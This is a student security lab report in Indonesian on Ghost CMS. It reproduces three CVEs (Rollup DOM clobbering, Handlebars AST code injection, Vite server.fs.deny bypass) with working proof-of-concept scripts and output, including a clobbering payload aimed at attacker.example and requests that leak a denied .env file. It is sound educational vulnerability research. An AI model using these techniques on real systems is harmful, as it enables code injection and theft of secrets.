Laporan Tugas Individu IF4053

Oleh :

13523003 - Dave Daniell Yanni

PROGRAM STUDI TEKNIK INFORMATIKA
SEKOLAH TEKNIK ELEKTRO DAN INFORMATIKA

INSTITUT TEKNOLOGI BANDUNG

BANDUNG
2026

Tugas Individu :

Mahasiswa menganalisis 3 CVE dari open source project. Analisis yang dilakukan harus disertai proses reproducing the vulnerability. Selain 3 CVE, mahasiswa juga mencari 2 Vulnerability yang ditemukan dari open source project yang sudah dipilih.

Spesifikasi Laporan

1. Daftar Isi
    - Daftar isi
2. Pendahuluan
    - Jelaskan secara detail aplikasi apa saja yang anda lakukan analisis, berikan link repo, deskripsi aplikasi, pembuat aplikasi, versi aplikasi, dan data lain yang mendukung.
    - URL dokumentasi CVE yang Anda pilih.
3. Hasil Analisis
    a. Tuliskan step by step (bisa dibuat sub-bab) yang sudah Anda lakukan. Serta tunjukkan hasil reproduce 3 CVE yang berhasil dilakukan. **[DEADLINE : 25 April 2026]**
    b. Tuliskan step by step (bisa dibuat sub-bab) yang sudah Anda lakukan. Serta tunjukkan 2 vulnerability baru yang Anda temukan. **[DEADLINE : 2 Mei 2026]**
    c. URL video youtube (link dibuat **public**) yang Anda buat untuk mendemokan point (a) dan (b), maksimal **15 menit**. **[DEADLINE : 2 Mei 2026]**
4. Kesimpulan
    - Tuliskan insight dan simpulkan hasil analisis yang sudah Anda dapat.

Notes :

Mahasiswa mengumpulkan **SATU** dokumen laporan. Pastikan sebelum **deadline** sudah ada hasil tugas yang dimaksud (**a, b,** dan **c**). Tugas akan dicek berkala oleh asisten, keterlambatan pengumpulan mengakibatkan Mahasiswa mendapatkan nilai 0.

1. Nama file : **NIM_IF4053** (ex: 13522135_IF4053)
2. Font : Roboto , size 11
3. Gambar :
    - Gambar dengan yang jelas (screen capture dengan light mode). Dan point out apa yang dimaksud dari gambar tersebut.
4. Referensi :
    - Tuliskan seluruh referensi yang digunakan.

Daftar Isi

Pendahuluan

Aplikasi open-source yang menjadi subjek evaluasi adalah Ghost CMS. Aplikasi ini dikembangkan oleh Ghost Foundation, sebuah organisasi non-profit yang didirikan oleh John O'Nolan dan Hannah Wolfe pada tahun 2013. Ghost merupakan platform publikasi profesional dan Content Management System (CMS) yang dirancang khusus untuk penulis, jurnalis independen, dan institusi media modern. Kode sumber utama aplikasi ini dapat diakses melalui repositori resminya di tautan https://github.com/tryghost/Ghost. Adapun versi aplikasi yang digunakan pada saat pengujian adalah versi pengembangan dari branch main, versi 6.33.0 https://github.com/TryGhost/Ghost/releases/tag/v6.33.0.

Secara arsitektur teknis, Ghost dibangun menggunakan tech stack Node.js dengan desain yang berorientasi pada API (RESTful JSON API). Aplikasi ini mengusung pendekatan decoupled yang memisahkan backend (mencakup admin web dan sistem pengolahan data) dengan frontend yang secara default menggunakan Handlebars.js. Data dan konten pada aplikasi ini disimpan dalam format standar berbasis JSON yang disebut MobileDoc. Pada lapisan basis data, Ghost menggunakan Object-Relational Mapping (ORM) Bookshelf.js yang mendukung penggunaan SQLite3 untuk tahap development dan MySQL untuk tahap production.

URL Dokumentasi CVE

Fokus pengujian dan proses reproducing vulnerability pada laporan ini mencakup 3 (tiga) Common Vulnerabilities and Exposures (CVE) yang secara spesifik berdampak pada modul atau kerangka kerja di dalam ekosistem aplikasi. Berikut adalah daftar CVE yang dipilih beserta URL dokumentasi resminya:

- **CVE-2024-47068**
  Deskripsi: Ditemukannya DOM Clobbering Gadget pada skrip yang dibundel oleh rollup yang mengarah pada kerentanan Cross-Site Scripting (XSS).
  URL Dokumentasi: https://nvd.nist.gov/vuln/detail/CVE-2024-47068
  Solusi: Upgrade rollup ke versi 2.80.0 atau lebih baru.

- **CVE-2026-33937**
  Deskripsi: Handlebars.js memiliki kerentanan injeksi JavaScript melalui AST Type Confusion.
  URL Dokumentasi: https://nvd.nist.gov/vuln/detail/CVE-2026-33937
  Solusi: Upgrade handlebars ke versi 4.7.9 atau lebih baru.

- **CVE-2026-39364**
  Deskripsi: Vite: Konfigurasi server.fs.deny dapat dilewati menggunakan queries.

URL Dokumentasi: https://nvd.nist.gov/vuln/detail/CVE-2026-39364
Solusi: Upgrade vite ke versi 7.3.2 atau lebih baru.

Hasil Analisis

Analisis ini difokuskan pada kerentanan yang teridentifikasi melalui integrasi GitHub Dependabot pada repositori fork pribadi dari https://github.com/tryghost/Ghost. Untuk memahami akar permasalahan serta dampak sistemik yang ditimbulkan, setiap CVE dianalisis menggunakan metodologi replikasi yang sistematis. Proses analisis terdiri dari tahapan-tahapan berikut:

1. Persiapan Lingkungan Pengujian: Melakukan fork terhadap repository utama Ghost ke repository pribadi, sehingga seluruh pengujian dan simulasi kerentanan dapat dilakukan secara lokal untuk memastikan tidak ada dampak atau kerusakan yang ditimbulkan pada sistem luar.

2. Identifikasi Kerentanan: Memanfaatkan GitHub Dependabot Security Alerts untuk memetakan dependensi yang bermasalah dalam ekosistem Ghost. Scanning otomatis ini menjadi acuan utama dalam mengidentifikasi paket seperti rollup, handlebars, dan vite yang terdampak.

3. Pengembangan Proof of Concept (PoC): Menyusun skenario serangan berdasarkan data teknis yang diperoleh dari alert Dependabot dan dokumentasi CVE, kemudian menjalankan simulasi eksploitasi dalam lingkungan lokal yang terkendali.

4. Validasi Temuan: Melakukan verifikasi terhadap keberhasilan eksploitasi yang ditandai dengan munculnya anomali sistem, perilaku tidak terduga pada interface CMS, atau celah keamanan lainnya, kemudian mendokumentasikan setiap bukti reproduksi dalam bentuk screenshot maupun log terminal.

Reproduce CVE

CVE-2024-47068: Gadget DOM Clobbering pada Rollup

Deskripsi

Versi Rollup yang terdampak dapat menghasilkan bundle browser yang menyelesaikan import.meta.url melalui document.currentScript.src tanpa memastikan bahwa currentScript benar-benar elemen <script>. Di browser, markup yang dikendalikan penyerang kadang bisa melakukan clobbering terhadap properti DOM bernama, misalnya:

```
<img name="currentScript" src="https://attacker.example/assets/">
```

Jika bundle Rollup yang rentan kemudian memakai nilai yang sudah di-clobber itu untuk membuat URL asset, bundle tersebut bisa mempercayai origin yang dikendalikan penyerang.

Versi terdampak: rollup < 2.79.2

Versi perbaikan: rollup >= 2.79.2

Mengapa Ini Bisa Fatal

Ini dapat menjadi cross-site scripting jika semua kondisi berikut terpenuhi:

- Situs menyajikan output Rollup terdampak dalam format browser seperti iife, umd, atau cjs.
- Bundle memakai import.meta.url atau logika URL asset yang dihasilkan Rollup.
- Halaman mengizinkan HTML yang dikendalikan penyerang dan dapat mengatur atribut name atau id.
- URL yang sudah di-clobber membuat bundle memuat script atau konten asset yang dikendalikan penyerang.

Dalam rantai ini, HTML tanpa script dapat ditingkatkan menjadi eksekusi script di halaman korban.

Reproduksi

1. File penolong untuk mengimport packages

```
import fs from 'node:fs';
import path from 'node:path';
import {createRequire} from 'node:module';
import {fileURLToPath, pathToFileURL} from 'node:url';

const require = createRequire(import.meta.url);

export function repoRootFrom(importMetaUrl) {
    let dir = path.dirname(fileURLToPath(importMetaUrl));

    while (dir !== path.dirname(dir)) {
        const lockfile = path.join(dir, 'pnpm-lock.yaml');
        const pnpmStore = path.join(dir, 'node_modules', '.pnpm');

        if (fs.existsSync(lockfile) && fs.existsSync(pnpmStore)) {
            return dir;
        }
```

```
        dir = path.dirname(dir);
    }

    throw new Error('Could not find the Ghost repo root with
node_modules/.pnpm installed.');
}

export function localPackagePath(repoRoot, pnpmFolder, packageName) {
    const packagePath = path.join(repoRoot, 'node_modules', '.pnpm',
pnpmFolder, 'node_modules', packageName);

    if (!fs.existsSync(packagePath)) {
        throw new Error(`Missing ${packageName} package at
${packagePath}`);
    }

    return packagePath;
}

function pnpmFolderPrefix(packageName, version) {
    return `${packageName.replace('/', '+')}@${version}`;
}

export function localPackageVersionPath(repoRoot, packageName, version)
{
    const pnpmStore = path.join(repoRoot, 'node_modules', '.pnpm');
    const prefix = pnpmFolderPrefix(packageName, version);

    if (!fs.existsSync(pnpmStore)) {
        throw new Error(`Missing pnpm store at ${pnpmStore}. Run pnpm
install from the repo root first.`);
    }

    const candidates = fs.readdirSync(pnpmStore)
        .filter(folder => folder === prefix ||
folder.startsWith(`${prefix}_`))
        .sort()
        .map(folder => path.join(pnpmStore, folder, 'node_modules',
packageName))
```

```
        .filter(packagePath => fs.existsSync(packagePath));

    if (!candidates.length) {
        throw new Error(`Missing ${packageName}@${version} in
${pnpmStore}. Run pnpm install from the repo root first.`);
    }

    return candidates[0];
}

export function requireLocalPackage(repoRoot, pnpmFolder, packageName) {
    return require(localPackagePath(repoRoot, pnpmFolder, packageName));
}

export function requireLocalPackageVersion(repoRoot, packageName,
version) {
    return require(localPackageVersionPath(repoRoot, packageName,
version));
}

export async function importLocalPackage(repoRoot, pnpmFolder,
packageName, entrypoint = '') {
    const packagePath = localPackagePath(repoRoot, pnpmFolder,
packageName);
    const resolvedPath = entrypoint ? path.join(packagePath, entrypoint)
: packagePath;

    return import(pathToFileURL(resolvedPath).href);
}

export async function importLocalPackageVersion(repoRoot, packageName,
version, entrypoint = '') {
    const packagePath = localPackageVersionPath(repoRoot, packageName,
version);
    const resolvedPath = entrypoint ? path.join(packagePath, entrypoint)
: packagePath;

    return import(pathToFileURL(resolvedPath).href);
}
```

2. File untuk testing

```
import fs from 'node:fs/promises';
import os from 'node:os';
import path from 'node:path';
import vm from 'node:vm';
import {fileURLToPath} from 'node:url';
import {repoRootFrom, requireLocalPackageVersion} from
'../lib/local-pnpm-package.js';

const repoRoot = repoRootFrom(import.meta.url);
const labDir = path.dirname(fileURLToPath(import.meta.url));
const clobberedOrigin = 'https://clobbered.invalid/assets/';

const source = [
    'const asset = new URL("extra.js", import.meta.url).href;',
    'document.body.setAttribute("data-rollup-cve", asset);'
].join('\n');

async function bundleWith(version) {
    const rollup = requireLocalPackageVersion(repoRoot, 'rollup',
version);
    const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(),
`cve-rollup-${version}-`));
    const input = path.join(tmpDir, 'main.js');

    try {
        await fs.writeFile(input, `${source}\n`);

        const bundle = await rollup.rollup({input});
        const {output} = await bundle.generate({
            file: 'bundle.js',
            format: 'iife',
            name: 'RollupCveLab'
        });

        await bundle.close?.();

        return output[0].code;
```

```
    } finally {
        await fs.rm(tmpDir, {force: true, recursive: true});
    }
}

function executeWithClobberedCurrentScript(code) {
    const attrs = {};
    const document = {
        baseURI: 'http://example.test/app/',
        currentScript: {
            tagName: 'IMG',
            src: clobberedOrigin
        },
        body: {
            setAttribute(name, value) {
                attrs[name] = value;
            }
        }
    };

    vm.runInNewContext(code, {document, URL});

    return attrs['data-rollup-cve'];
}

function currentScriptLines(code) {
    return code
        .split('\n')
        .filter(line => /currentscript/i.test(line))
        .map(line => line.trim());
}

function escapeHtml(value) {
    return value
        .replaceAll('&', '&amp;')
        .replaceAll('<', '&lt;')
        .replaceAll('>', '&gt;')
        .replaceAll('"', '&quot;')
        .replaceAll("'", '&#39;');
```

```
}

function renderHtml({title, version, resolvedUrl, bundleCode}) {
    const clobbered = resolvedUrl.startsWith(clobberedOrigin);
    const resultLabel = clobbered ? 'Clobbered' : 'Not clobbered';

    return `<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>${escapeHtml(title)}</title>
</head>
<body>
    <h1>${escapeHtml(title)}</h1>
    <p>Result: ${resultLabel}</p>
    <p>Rollup version: <code>${escapeHtml(version)}</code></p>
    <p>Resolved asset URL: <code>${escapeHtml(resolvedUrl)}</code></p>
    <h2>Clobbering Input</h2>
    <pre><code>&lt;img name="currentScript"
src="${escapeHtml(clobberedOrigin)}"&gt;</code></pre>
    <h2>Rollup Generated Lines</h2>

<pre><code>${escapeHtml(currentScriptLines(bundleCode).join('\n'))}</cod
e></pre>
</body>
</html>
`;
}

async function writeHtmlReport(filename, report) {
    const filePath = path.join(labDir, filename);
    await fs.writeFile(filePath, renderHtml(report));
    return filePath;
}

const vulnerableCode = await bundleWith('1.32.1');
const patchedCode = await bundleWith('4.60.0');

const vulnerableUrl = executeWithClobberedCurrentScript(vulnerableCode);
```

```
const patchedUrl = executeWithClobberedCurrentScript(patchedCode);

const htmlReports = [
    await writeHtmlReport('rollup-vulnerable.html', {
        title: 'CVE-2024-47068 Vulnerable Rollup Output',
        version: '1.32.1',
        resolvedUrl: vulnerableUrl,
        bundleCode: vulnerableCode
    }),
    await writeHtmlReport('rollup-patched.html', {
        title: 'CVE-2024-47068 Patched Rollup Output',
        version: '4.60.0',
        resolvedUrl: patchedUrl,
        bundleCode: patchedCode
    })
];

console.log('CVE-2024-47068: Rollup DOM clobbering gadget');
for (const line of currentScriptLines(vulnerableCode)) {
    console.log(`vulnerable rollup 1.32.1 line: ${line}`);
}
console.log(`vulnerable rollup 1.32.1 resolved URL: ${vulnerableUrl}`);
for (const line of currentScriptLines(patchedCode)) {
    console.log(`patched rollup 4.60.0 line: ${line}`);
}
console.log(`patched rollup 4.60.0 resolved URL: ${patchedUrl}`);
for (const report of htmlReports) {
    console.log(`wrote HTML report: ${report}`);
}

if (!vulnerableUrl.startsWith(clobberedOrigin)) {
    throw new Error('Expected vulnerable Rollup output to trust the
clobbered currentScript.src value.');
}

if (patchedUrl.startsWith(clobberedOrigin)) {
    throw new Error('Expected patched Rollup output to reject a
non-SCRIPT currentScript value.');
}
```

3. Hasil HTML

Rollup versi 1.32.1 rollup-vulnerable.html	Rollup versi 4.60.0 rollup-patched.html

`<!doctype html>`
`<html lang="en">`
`<head>`
`<meta charset="utf-8">`
`<title>CVE-2024-47068 Vulnerable Rollup Output</title>`
`</head>`
`<body>`
`<h1>CVE-2024-47068 Vulnerable Rollup Output</h1>`
`<p>Result: Clobbered</p>`
`<p>Rollup version: <code>1.32.1</code></p>`
`<p>Resolved asset URL: <code>https://clobbered.invalid/assets/extra.js</code></p>`
`<h2>Clobbering Input</h2>`
`<pre><code><img name="currentScript" src="https://clobbered.invalid/assets/"></code></pre>`
`<h2>Rollup Generated Lines</h2>`
`<pre><code>const asset = new URL("extra.js", (document.currentScript && document.currentScript.src || new URL('bundle.js', document.baseURI).href)).href;</code></pre>`
`</body>`
`</html>`
	`<!doctype html>`
	`<html lang="en">`
	`<head>`
	`<meta charset="utf-8">`
	`<title>CVE-2024-47068 Patched Rollup Output</title>`
	`</head>`
	`<body>`
	`<h1>CVE-2024-47068 Patched Rollup Output</h1>`
	`<p>Result: Not clobbered</p>`
	`<p>Rollup version: <code>4.60.0</code></p>`
	`<p>Resolved asset URL: <code>http://example.test/app/extra.js</code></p>`
	`<h2>Clobbering Input</h2>`
	`<pre><code><img name="currentScript" src="https://clobbered.invalid/assets/"></code></pre>`
	`<h2>Rollup Generated Lines</h2>`
	`<pre><code>var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;`
	`const asset = new URL("extra.js", (_documentCurrentScript && _documentCurrentScript.tagName.toUpperCase() === 'SCRIPT' && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)).href;</cod`

	`e></pre>`
	`</body>`
	`</html>`

Kedua laporan HTML sengaja memakai input clobbering yang sama:

```
<pre><code>&lt;img name="currentScript"
src="https://clobbered.invalid/assets/"&gt;</code></pre>
```

Input ini dapat dilihat di rollup-vulnerable.html dan rollup-patched.html pada bagian Clobbering Input. Perbedaannya bukan pada HTML input, tetapi pada kode JavaScript yang dihasilkan Rollup.

Pada rollup-vulnerable.html, bagian Rollup Generated Lines berisi kode seperti ini:

```
const asset = new URL(&quot;extra.js&quot;, (document.currentScript
&amp;&amp; document.currentScript.src || new URL(&#39;bundle.js&#39;,
document.baseURI).href)).href;
```

Bagian yang ter-clobber adalah document.currentScript. Karena halaman memiliki elemen bernama currentScript, browser dapat mengembalikan elemen IMG tersebut sebagai document.currentScript. Kode lama langsung membaca document.currentScript.src, sehingga base URL asset berubah menjadi:
https://clobbered.invalid/assets/
Akibatnya asset extra.js diselesaikan menjadi URL yang sudah di-clobber:
https://clobbered.invalid/assets/extra.js

Pada rollup-patched.html, bagian Rollup Generated Lines menunjukkan guard tambahan dari Rollup versi baru:

```
var _documentCurrentScript = typeof document !== &#39;undefined&#39; ?
document.currentScript : null;
const asset = new URL(&quot;extra.js&quot;, (_documentCurrentScript
&amp;&amp; _documentCurrentScript.tagName.toUpperCase() ===
&#39;SCRIPT&#39; &amp;&amp; _documentCurrentScript.src || new
URL(&#39;bundle.js&#39;, document.baseURI).href)).href;
```

Versi baru masih melihat document.currentScript, tetapi tidak langsung mempercayainya. Nilai itu lebih dulu disimpan ke _documentCurrentScript, lalu Rollup memastikan tagName-nya benar-benar SCRIPT sebelum memakai .src. Karena input clobbering di lab ini adalah elemen IMG, pengecekan ini gagal dan kode fallback dipakai: new URL('bundle.js', document.baseURI).href

CVE-2026-33937: Handlebars AST Type Confusion

Deskripsi

Handlebars.compile() menerima template string, tetapi versi yang terdampak juga menerima object AST yang sudah diparsing. Pada versi rentan, NumberLiteral.value di dalam AST tersebut dapat dimasukkan langsung ke JavaScript yang dihasilkan tanpa divalidasi sebagai angka.
Versi terdampak: handlebars >= 4.0.0, <= 4.7.8
Versi perbaikan: handlebars >= 4.7.9

Mengapa Ini Bisa Fatal

Ini menjadi server-side code execution jika sebuah aplikasi menerima JSON yang dikendalikan penyerang, melakukan deserialisasi menjadi object, lalu mengirim object tersebut langsung ke Handlebars.compile().

Hal ini fatal bagi proses server karena compiler template menghasilkan dan mengevaluasi JavaScript. Jika penyerang mengendalikan sebagian kode yang dihasilkan itu, mereka berpotensi membaca file, mengakses secret, atau menjalankan command dengan permission yang sama seperti proses Node.js.

Reproduksi

1. Buat file test

```
import {repoRootFrom, requireLocalPackageVersion} from
'../lib/local-pnpm-package.js';

const repoRoot = repoRootFrom(import.meta.url);
const harmlessInjection = '{},{})) + "CVE_PROBE" //';

function makeAst() {
    return {
        type: 'Program',
        body: [{
            type: 'MustacheStatement',
            path: {
                type: 'PathExpression',
                data: false,
                depth: 0,
                parts: ['lookup'],
                original: 'lookup',
                loc: null
            },
            params: [
```

```
                {
                    type: 'PathExpression',
                    data: false,
                    depth: 0,
                    parts: [],
                    original: 'this',
                    loc: null
                },
                {
                    type: 'NumberLiteral',
                    value: harmlessInjection,
                    original: 1,
                    loc: null
                }
            ],
            escaped: true,
            strip: {open: false, close: false},
            loc: null
        }]
    };
}

function run(version) {
    const Handlebars = requireLocalPackageVersion(repoRoot,
'handlebars', version);

    try {
        return {
            version,
            blocked: false,
            output: Handlebars.compile(makeAst())({})
        };
    } catch (error) {
        return {
            version,
            blocked: true,
            error: error.message
        };
    }
```

```
}

const vulnerable = run('4.7.8');
const patched = run('4.7.9');

console.log('CVE-2026-33937: Handlebars AST type confusion');
console.log('payload: safe marker-only JavaScript injection, no shell
commands');
console.log(`vulnerable ${vulnerable.version}: ${vulnerable.blocked ?
`blocked (${vulnerable.error})` : `rendered
${JSON.stringify(vulnerable.output)}`}`);
console.log(`patched ${patched.version}: ${patched.blocked ? `blocked
(${patched.error})` : `rendered ${JSON.stringify(patched.output)}`}`);

if (vulnerable.output !== 'CVE_PROBE') {
    throw new Error('Expected Handlebars 4.7.8 to render the injected
marker.');
}

if (!patched.blocked) {
    throw new Error('Expected Handlebars 4.7.9 to reject the malformed
NumberLiteral AST.');
}
```

2. Output

```
CVE-2026-33937: Handlebars AST type confusion
payload: safe marker-only JavaScript injection, no shell commands
vulnerable 4.7.8: rendered "CVE_PROBE"
patched 4.7.9: blocked (Invalid AST: NumberLiteral.value must be a number)
```

CVE-2026-39364

Deskripsi

Versi Vite dev server yang terdampak dapat mengembalikan file yang seharusnya diblokir oleh server.fs.deny ketika query parameter khusus ditambahkan ke URL. Request langsung ke file

yang ditolak mengembalikan 403, tetapi request seperti ?raw, ?import&raw, atau ?import&url&inline dapat mengembalikan 200 beserta isi file.
Versi terdampak: vite >= 7.1.0, <= 7.3.1
Versi perbaikan: vite >= 7.3.2

Mengapa Ini Bisa Fatal
Ini berbahaya ketika Vite dev server diekspos keluar dari localhost dengan --host atau server.host, dan file sensitif seperti .env, sertifikat, atau token berada di dalam root filesystem yang diizinkan.

Jika penyerang dapat menjangkau dev server tersebut, mereka mungkin dapat membaca secret yang seharusnya diblokir oleh server.fs.deny. Kredensial yang bocor dapat menyebabkan account takeover, akses data produksi, atau kebocoran signing key.

Reproduksi
1. Buat file test

```
import fs from 'node:fs/promises';
import net from 'node:net';
import os from 'node:os';
import path from 'node:path';
import {repoRootFrom, importLocalPackageVersion} from
'../lib/local-pnpm-package.js';

const repoRoot = repoRootFrom(import.meta.url);
const viteVersion = '7.1.12';
const sentinel = 'CVE_SENTINEL_SECRET=local-only';

async function findLoopbackPort() {
    return new Promise((resolve, reject) => {
        const socket = net.createServer();

        socket.once('error', reject);
        socket.listen(0, '127.0.0.1', () => {
            const {port} = socket.address();
            socket.close(() => resolve(port));
        });
    });
}

async function createLabRoot() {
```

```
    const labRoot = await fs.mkdtemp(path.join(os.tmpdir(),
'cve-vite-'));

    await fs.mkdir(path.join(labRoot, 'src'), {recursive: true});
    await fs.writeFile(path.join(labRoot, 'index.html'), '<div
id="app"></div><script type="module" src="/src/main.js"></script>\n');
    await fs.writeFile(path.join(labRoot, 'src', 'main.js'),
'document.querySelector("#app").textContent = "vite cve lab";\n');
    await fs.writeFile(path.join(labRoot, 'src', '.env'),
`${sentinel}\n`);

    return labRoot;
}

function bodyLeaksSentinel(body) {
    if (body.includes(sentinel)) {
        return true;
    }

    for (const [, encoded] of
body.matchAll(/base64,([A-Za-z0-9+/=]+)/g)) {
        if (Buffer.from(encoded,
'base64').toString('utf8').includes(sentinel)) {
            return true;
        }
    }

    return false;
}

async function fetchProbe(baseUrl, requestPath) {
    const response = await fetch(`${baseUrl}${requestPath}`);
    const body = await response.text();

    return {
        path: requestPath,
        status: response.status,
        leaked: bodyLeaksSentinel(body),
        preview: body.slice(0, 90).replace(/\s+/g, ' ').trim()
```

```
    };
}

const labRoot = await createLabRoot();
let server;

try {
    const port = await findLoopbackPort();
    const {createServer} = await importLocalPackageVersion(repoRoot,
'vite', viteVersion, 'dist/node/index.js');

    server = await createServer({
        root: labRoot,
        logLevel: 'silent',
        server: {
            host: '127.0.0.1',
            port,
            strictPort: true,
            fs: {
                allow: [labRoot],
                deny: ['.env', '.env.*', '**/.env', '**/.env.*']
            }
        }
    });

    await server.listen();

    const address = server.httpServer.address();
    const baseUrl = `http://127.0.0.1:${address.port}`;
    const probes = [];

    for (const requestPath of ['/src/.env', '/src/.env?raw',
'/src/.env?import&raw', '/src/.env?import&url&inline']) {
        probes.push(await fetchProbe(baseUrl, requestPath));
    }

    console.log(`CVE-2026-39364: Vite ${viteVersion} server.fs.deny
query bypass`);
    console.log(`loopback server: ${baseUrl}`);
```

```
    for (const probe of probes) {
        console.log(`${probe.path}: HTTP ${probe.status},
leaked=${probe.leaked}, preview=${JSON.stringify(probe.preview)}`);
    }

    const directProbe = probes[0];
    const bypassProbes = probes.slice(1);

    if (directProbe.status !== 403) {
        throw new Error('Expected direct /src/.env request to be blocked
by server.fs.deny.');
    }

    if (!bypassProbes.some(probe => probe.status === 200 &&
probe.leaked)) {
        throw new Error('Expected at least one query-parameter request
to return the denied file contents.');
    }
} catch (error) {
    if (error.code === 'EPERM' || error.code === 'EACCES') {
        console.error('Could not bind a 127.0.0.1 test server in this
sandbox. Run the script on your local host, or approve loopback server
execution.');
    }

    throw error;
} finally {
    await server?.close();
    await fs.rm(labRoot, {force: true, recursive: true});
}
```

2. Output

```
CVE-2026-39364: Vite 7.1.12 server.fs.deny query bypass
loopback server: http://127.0.0.1:40461
/src/.env: HTTP 403, leaked=false, preview="<body> <h1>403 Restricted</h1> <p>The
request id &quot;/tmp/cve-vite-mfL4"
```

/src/.env?raw: HTTP 200, leaked=true, preview="export default \"CVE_SENTINEL_SECRET=local-only\\n\" //# sourceMappingURL=data:application/js"
/src/.env?import&raw: HTTP 200, leaked=true, preview="export default \"CVE_SENTINEL_SECRET=local-only\\n\" //# sourceMappingURL=data:application/js"
/src/.env?import&url&inline: HTTP 200, leaked=true, preview="export default \"data:application/octet-stream;base64,Q1ZFX1NFTlRJTkVMX1NFQ1JFVD1sb2NhbC1vb"

New Vulnerabilities

Youtube URL

Kesimpulan